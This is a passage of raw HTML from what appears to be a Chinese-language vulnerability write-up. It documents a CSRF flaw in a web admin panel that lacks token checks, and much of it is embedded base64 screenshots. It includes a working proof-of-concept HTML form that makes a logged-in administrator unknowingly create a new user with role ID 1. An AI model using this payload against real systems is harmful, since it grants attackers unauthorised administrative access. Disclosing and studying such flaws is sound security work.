hSBfPYc+2UWNUx/TPTNwY0wYcfsO1ecdRz3aR9oz3uwjYAzC31rInk9KsJE88r5Hjbjd+9Zn5OUPWp8hrh2eNXi/juaZ21bcNng9TkXWRGJCbTQe9gA9Sa/Q5KmkWZspLa7FLRmK46ehgF1vmnA7FIoWiv+zCXO7l+4sUFQmGWkOKl+vl5FaQgghhBBCCCGEGLPPRHLo+ed+wx133QPQnSBavHQZZyxYxG+ffXo8QxtczkV889tnEDjyuW4tz/5uzYAjBsKdm/nWHb9ityeZ6x//Ndecdz55LxayJziN1PA29r7yFD/+4x4cxjN44E/fYfHyGX2SQ9q6gBu/tJiQPb/hru++SQ0JfP7RZ7jr2quY+87Ozmu0fsBXv/o7isKv4CfP38aZSf/i69f/in2GJTz84kMsPGs27Ajj3EUx1L31ILf/dj9MuIiv3T2N7CwTB4uG/qb8iMrf3jh4fQpiB732v1/8Go9bn+fxCwt57s4fs0EptGUBN9++hOAdv+CO/32PRlMS5331Ce694RaW/OcHrO4a6BPeto5v3fkce9r9g7+Es4YTarBR1qY5+ivcHS1lnQklQwg+XwB/V4cq5aSpCabEh0D76CZbw5BMVm4Y9Zv/S5EdDGGZTEmNI6i+Go+KICt/CkFVG1lf6sBvCCFt9plMy25hS/GRabAiiFDb2bq6AbdWQ5bXMVCchkji4ow07FrN4eYOsKQx8+wppJbXU+KMImdGDurwJtaUtxMwhJM1dxHJ1PSqQAyx5i1sXtNEIHwKCxbOZ0rlNjavbcBvzWLOWRNJjaigsF8CJJoY4ya2rmslYI4jd+EZZKeX0VzqHl17BlpobVFkhQWjG0xDt9eQbd1TpDl2GnPzQqncsZUKuwb7JvYalzDTsJvNB1sAheZI32xhbakNvyGE5JmLmDm5jY37G+nMn8YwIWoP29Z8jCtgImLiAubOzKZtUxHOMd4zQRFxxAR6Pnc4mrB3DHTk4O07dJ/3lKAJJyt/CpaqLawvteEzRpA9byHTshvZVDyKvrcPdU8O9TJ8pOUPUR/X4Ne2FQ/Ur+Gjf+ZOM8ExsQS1VdLqo9ePuAhiEkIwqmCyZ0zoPra9bCvlradfHU8lSmnctl7rp7XZ6eiVlIublUlQxT6qWpFRQ0IIIYQQQgghhBizz0RyyGaz8dtnn+5OEAHdiSGb7fisG6G1xmFvx+lyEgj0vIm95+67xlZgUBgxMf6e6d88VgyDHFq/7UP2ODWKKrbsruGaL8STaIS97v3848ePsG7KbJZdeztZKdnkWSEsIYkwbe8pIHsWMyLtbH7rLWoDCkUD//r+tbxvUPj9i1kJVG9bQ6FHod0lVLRD1qGd7O9QoA9RXAULoyIJdpdQ2QTTV9zLI+Z1fLxtHc88/G9cSqEjL+bHv7Line truncated
|
||||
<p blockindex=56>且观察前端代码也没有使用csrf-token进行校验</p>
|
||||
<p blockindex=57><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=58>poc:</p>
|
||||
<pre blockindex=59><code class="hljs language-html"><span class=hljs-tag><<span class=hljs-name>html</span>></span>
|
||||
<span class=hljs-tag><<span class=hljs-name>body</span>></span>
|
||||
<span class=hljs-tag><<span class=hljs-name>form</span> <span class=hljs-attr>action</span>=<span class=hljs-string>"http://localhost:8080/admin/admin/save"</span> <span class=hljs-attr>method</span>=<span class=hljs-string>"POST"</span> <span class=hljs-attr>name</span>=<span class=hljs-string>"form1"</span> <span class=hljs-attr>enctype</span>=<span class=hljs-string>"application/x-www-form-urlencoded"</span> ></span>
|
||||
<span class=hljs-tag><<span class=hljs-name>input</span> <span class=hljs-attr>type</span>=<span class=hljs-string>"hidden"</span> <span class=hljs-attr>name</span>=<span class=hljs-string>"username"</span> <span class=hljs-attr>value</span>=<span class=hljs-string>"test"</span>/></span>
|
||||
<span class=hljs-tag><<span class=hljs-name>input</span> <span class=hljs-attr>type</span>=<span class=hljs-string>"hidden"</span> <span class=hljs-attr>name</span>=<span class=hljs-string>"password"</span> <span class=hljs-attr>value</span>=<span class=hljs-string>"test"</span>/></span>
|
||||
<span class=hljs-tag><<span class=hljs-name>input</span> <span class=hljs-attr>type</span>=<span class=hljs-string>"hidden"</span> <span class=hljs-attr>name</span>=<span class=hljs-string>"rePassword"</span> <span class=hljs-attr>value</span>=<span class=hljs-string>"test"</span>/></span>
|
||||
<span class=hljs-tag><<span class=hljs-name>input</span> <span class=hljs-attr>type</span>=<span class=hljs-string>"hidden"</span> <span class=hljs-attr>name</span>=<span class=hljs-string>"name"</span> <span class=hljs-attr>value</span>=<span class=hljs-string>"test"</span>/></span>
|
||||
<span class=hljs-tag><<span class=hljs-name>input</span> <span class=hljs-attr>type</span>=<span class=hljs-string>"hidden"</span> <span class=hljs-attr>name</span>=<span class=hljs-string>"roleIds"</span> <span class=hljs-attr>value</span>=<span class=hljs-string>"1"</span>/></span>
|
||||
<span class=hljs-tag><<span class=hljs-name>input</span> <span class=hljs-attr>type</span>=<span class=hljs-string>"submit"</span> <span class=hljs-attr>value</span>=<span class=hljs-string>"Submit request"</span> /></span>
|
||||
<span class=hljs-tag></<span class=hljs-name>form</span>></span>
|
||||
<span class=hljs-tag><<span class=hljs-name>script</span>></span><span class=javascript>history.pushState(<span class=hljs-string>''</span>, <span class=hljs-string>''</span>, <span class=hljs-string>'/'</span>);</span><span class=hljs-tag></<span class=hljs-name>script</span>></span>
|
||||
<span class=hljs-tag></<span class=hljs-name>body</span>></span>
|
||||
<span class=hljs-tag></<span class=hljs-name>html</span>></span>
|
||||
</code></pre>
|
||||
<p blockindex=60>登录管理员的情况下,可以看到成功附带cookie过去,并且成功的添加了test用户,并且登录成功。</p>
|
||||
<p blockindex=61><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB4AAAAKNCAYAAADBBHa/AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdeXxM5/4H8M8kmYksiERCCEJIiCVRrf5sl1xbW1vUVbsKmrrKLb2uuppW1FJ1u6TXcmuNpiW41SK0FCUl3FKVqoTYmhBChgiSSGb9/TE5J7OcyTqR7fN+vfqqzJzznOecORORz3y/jywrR6dv5CIDERERERERERERERERERHVXFk5ejg4yqt6GlRd6PWASq2FSq2FVqeHXqeHTl/VsyIiIiIiIiIiIiIiIiJjdjJAZieDvZ0MCrk9FHJ7yFjvSQAc5YBMo9Xr7e2qeipUldQaHZ7ka6DW6Kp6KkRERERERERERERERFQOcgc7ONVzgNyBwV9dptECMr1ezxrPOkqj1SHvCYNfIiIiIiIiIiIiIiKi2kLuYAdnJwc4sAK0zmIAXEep1Do8zlVV9TSIiIiIiIiIiIiIiIioEtR3kUMht6/qaVAVYABcB+UXaJH7RF3V0yAiIiIiIiIiIiIiIqJK5OIkRz1HhsB1jUNVT4CerpLCXxkAhcKwWLi9vQx2doYVw3U6PbRaPVRqLVQqLWz6qQEZoNfpAZkMMugLZ0FERERERERERERERFTd6aGHDDK9HrCTwbYBSsXlPlEDMqCegiFwXcIK4DpErdHhUY5022eZDHCuV/pPgeQXaJGXr0ZF7h6ZDNDrwLyXiIiIiIiIiIiIiIhqh2pa59bAVQG5A9cErisYANcROp0e2Y8KJD94Ipfbob6Loszfj/QAcnJVUKl1ZZ6PDDLo9fpq+U2QiIiIiIiIiIiIiIiovPTQww520FejcmAZgIYNHGFvV7eCmcf5QJ5Kj3yVHk8KaySdFEA9hQzOChnq16va+VUWBsB1xMMcFTQay6DWuZ4DnOpVrBN4Xr4GT/I1FRqDiIiIiIiIiIiIiIiIgCd5eQAAJ2dnm44rd7BDA1eFTcesrlRaIP2+DnnSjXFFzgrAx8MOta1DNtcArgM0Wp1k+OuosK9w+AsYQmSdTo8ClbZU28tkqFDraCIiIiIiIiIiIiIioupOBlm5qoDj449AJpNh8AtDbToftUYHjVYPB3vbVgE/evQIqampZdrH19cXDRo0sOk8BA9y9cjI1kNXikufpwKu3tHB202GRi61pzqaAfBTlpGRAaVSiUaNGsHHxwcymeFmysrKQnp6Otq1awcnJyebHlOqOlfuYAdXZ7nk9nq9HqdOncK5c+dw4cIF6HQ6dOnSBcHBwejZs6c4Z2OuznLodHqoJYJmy/HLfg5EREREREREREREREQ1SXnCX71ej4Pf7wMADBo8RDKTqYgn+WrUd7FdFbBWq8Vbb72F9PT0Mu3XokULfP7557C3t23pbVauHrcflO266/TArQeGV8v9KYXASqUSb7zxBmQyGdauXQsPDw+bjl8pAfAXX3wBuVyO8ePHV8bwZZacnAy9Xo+OHTtW2RyuX7+OmJgY/O9//xMfc3Nzw/DhwzF69GicPn0aUVFRWLNmDfz8/Gx2XD0guUZvPUfpl/7mzZt49dVXcf36dZPHDx48CABo3bo1vvjiC7Rs2VJyTLWmhFp6AIASB+f2wQ+Dj+PjFzxLsX0FnV+PbpOBLYnh6Py0j21VJg5HhCP6auGXbWcgaukLMJ6R8tB8zNl0ufCrwXhn+18RaPR88sZQLDsMq89DeQCLZn8O4RD939uNqSYbmM7leN/1WDzQq+ynojyARbN/RJ9VKzGgnJfUcK6tLc+hLPvH/9niGpbOBWweGwFYvT6lkPwfTHj/D4RV4BoQERERERERERERESWeO4vMzLsAgN8Sf0Vw1242HV+l1kGvN3RrtYW7d+8iPT0d7du3R7du0nONj4+3CIhv3ryJO3fuoHnz5raZCACVBsjItgx/9Xpg0w+38fXxTADAK328MHVwM4vtMrL1cHWUQfEUymd/+uknPHr0CABw/PhxhIaG2nR8m59CdHQ0duzYgaZNm2LUqFFwdHS09SHKRKPRIC0tDbm5udDr9ejUqdNTn8OVK1fwj3/8A/n5+QgKCkLr1q2Rn5+P8+fPIyYmBj/99BO6d+9eKcdWqy3bMstkgEJuZ/F4VlYWxo0bh/T0dEybNg1hYWHw8fEBYHgjbtiwATExMRg7diz27dsHd3d3k/0VcrvStXeu7RXAJoGztOSN4YjGDERtfwGehQHsnI0+2DrdcH8WBaIrEYjCsDeitRhwKg/Nx7LDRaGv+fNC+Nvqvd1YHIjCgHI+WkoFlMm7EH11MN5ZWo7wt1q4gLhNl9H/vZXlCH+JiIiIiIiIiIiIiKqPgwf2wc7OkOH8cHC/zQNgwNAKWionKg+NxtCFtn379pg0aZLkNtevX5esEBb2tZX0LJ1kRhW1+wZij90Vv/78u1tQafSYMcQ0fNbrDWO08bLNtSlOnz59sH37djg4OKB37942H9+mAfCGDRuwa9cuNGnSBB999FGVh78A4ODggH79+uHo0aO4dOmS2M74aXn48CEWLVoEBwcHLFmyBM8995zJ8+fPn8eiRYuwc+fOSjl+gUpi7V+5dDn9/PnzkZ6ejhUrVmDs2LEAgDNnzkAmk+HZZ5/F+++/D39/f0RERGD+/PnYuHGj5Nj5Ja0FXHtaqJfTBfzvMND/PaFa1QsDxg9G9PvHkTy9EwKNAk2hIDVwxAy0nf0jflO+gAGemfgt/jLaTptn5Xkgec/nuDpgqSH8BYDAUQhrG47jiZkYYFblm3zyIDBgabkqb23Fc+BKbB1Yzp2Tj+MIBuOdqjyBwL9i6/YqPD4RERERERERERER1Xh3797B7+cT8Vz3HtDr9fjlzP9w9+4dNGnS1KbHUau1NguAq4s8leE/Kd+fuW/x2N7/KS0CYONxnG3XJVuSl5cX/vvf/1ba+DYLgNeuXYu9e/eiSZMm+Pjjj9G4cWNbDV1hTk5OCAkJwdGjR3H5sqGl7tMKgTdv3oysrCwsWLDAJPxVqVTYsWMHAMNC1xcvXqyU42t1EgGwwjIATklJweHDh/GXv/xFDH8BYM2aNdBqtfjyyy8BABMnTsSZM2ewZ88eXLp0Ce3btzcZR6EoRQBsxe+b22PKv4u+nhVzCWFditkm5GMc/HQIGgPAvf34+4C/41jhU/1WlNzi2WSsv23H2anBZZvP+fXoNvkTk7lkGO0zJfgT8fHMjaFYliq0efZCy7bADfMJtW1dWL2bjjT4o4/x9D2fQZ+2n4sBbjNfqTNqjWaeAJCJ26lA277GQa8Xgvr6Izr+VygHGrdJFsLoosp409bT/pZtjZP/gwnvHyz8YjDeWdXaZBZCO+Z3+v6IZcI4A5Zi63Qvk7bXbacVtZw2beFc1JJ6TFp4UZvrAUvFCmljFgG2Wetr4+NYPu+PsFWTKzx/wzWBWJEtns/4PzDH+FqVs8U1EREREREREREREdUeubk5+HpnLB49ysbDhw/x+PEjPH70CI8fG1oCD35xKFAYAM+bOxP16zdA/QYNUL9+AzRs2BANGzbCqNFj4eLiWq7ja7SW2VFN90Rlvf2snV3ZKhOfqPRwVtTsakabxPvVOfwVCCGws7MzLl++jHPnzlX6MXU6HeLj49GqVSv069fP5DmVSoWtW7di69atlRb+GuZgecPb21u+7Pv2GRYUf/31100e/+STT/Cvf/3L5LFp06YBAPbv328xjoPE2CVT4uDc9pjy+8c4mHgJZxMv4ezhj3FhcntEny/a6vfNZtu8A5w9X7j/XuCfRvtiQR+Tfc0dW9AHvzxbuH3MW8C/xxptX4r53NuPv0/+DcsPm86l89TC8fAWtiRewlkhoDbhhQFvzkDatgNQAgAycXjbHwh7U2jf/AeuimGutMDpS9Fq0y4kF36dvOdztHpPCBczceMq0Kp5yS2dlYdicKTtDAwTUknlAcRhHrZu342t23cjahoQPfs/4nGE8Lf/e7sLt+mD/xmFraKrn2OHMM6qGWh7OAITxobjxvjC/d4bjKubPsJhpfW5Xd0Ujv/1LNoehyOwOdlsI+UB7Djsj7ARQjCcicN7gFmF89+6agawKbxov8LwF9PWF85/HvBZBI5Uwvxx9XPMOdmn8DhL0R8HsWzjhWJ2ICIiIiIiIiIiIqK6wMXFFV2CuuLcr7/gYvIFpN+8gTZt2qLPn0IweswEdOjQER0CO2H4iFEI7NgZMjs7pN+8gYvJF3Du11/QJahrucNfAJCIjmq8nHzrJzX0ecukZvj/WQ9h8gpsMqUS7d27F3FxcZUydoUrgNesWSNOTi6X48MPPyx2+8jISLi4uFT0sJI0Gg1OnDhR7Db29obq12vXrsHOzg5BQUGVMhcAuHXrFvLz8+Hv72/xnKurKw4cOFBpxxZI9TqXWtj76tWrcHFxQbt27UweX7NmDWQyGSIiIsTHOnfuDLlcjqtXLWK/8i0afv5bLDzaH8sPG4WljYfgnyu+w+Do/Rj26RA0vrcfW/5tuc3gxgDgicFThxSN17g7BoUAP9xWAl2svIH/tr2omrfLSCwP+aRo+9LM5/YtHEMQpjQuen5wMZ97CJy+G1uNH1D+gatXD2LO2M/Fh/orgVIvYqtMRxoO4sjYg+JDbVtlAoFlWce3sJV033lFh/V8AVONWjF7Bv8ZbfEjbiuBQM+iatupYhlrJ0x9bzCOvP+H2diDMUaojvV8AWMGfI5lqUZBc2Af9MdB3CjunI2PEzgKYW0P4vgt03NUJv6Iq23/jFniGF4YMP0FoxN4Bn3aQtzPsP0MRIkVwYYw/vjsotfBZvPHYLwjVix3wrBp/jgSnw4lOnGtYiIiIiIiIiIiIqI6ruszzyJyyYdYvuQ9PH78CHb29gibNgNyuVzcZsy4SdDr9fjm6+34ZtcONGzohgXvRKJlS98KHVuqeLCme2Kl/TMAvDHUB84KO+z46S7k9jKM6dsLine truncated
|
||||
使用csrf添加的test账户成功登录后台。</p>
|
||||
<p blockindex=62><img src=data:image/png;base64,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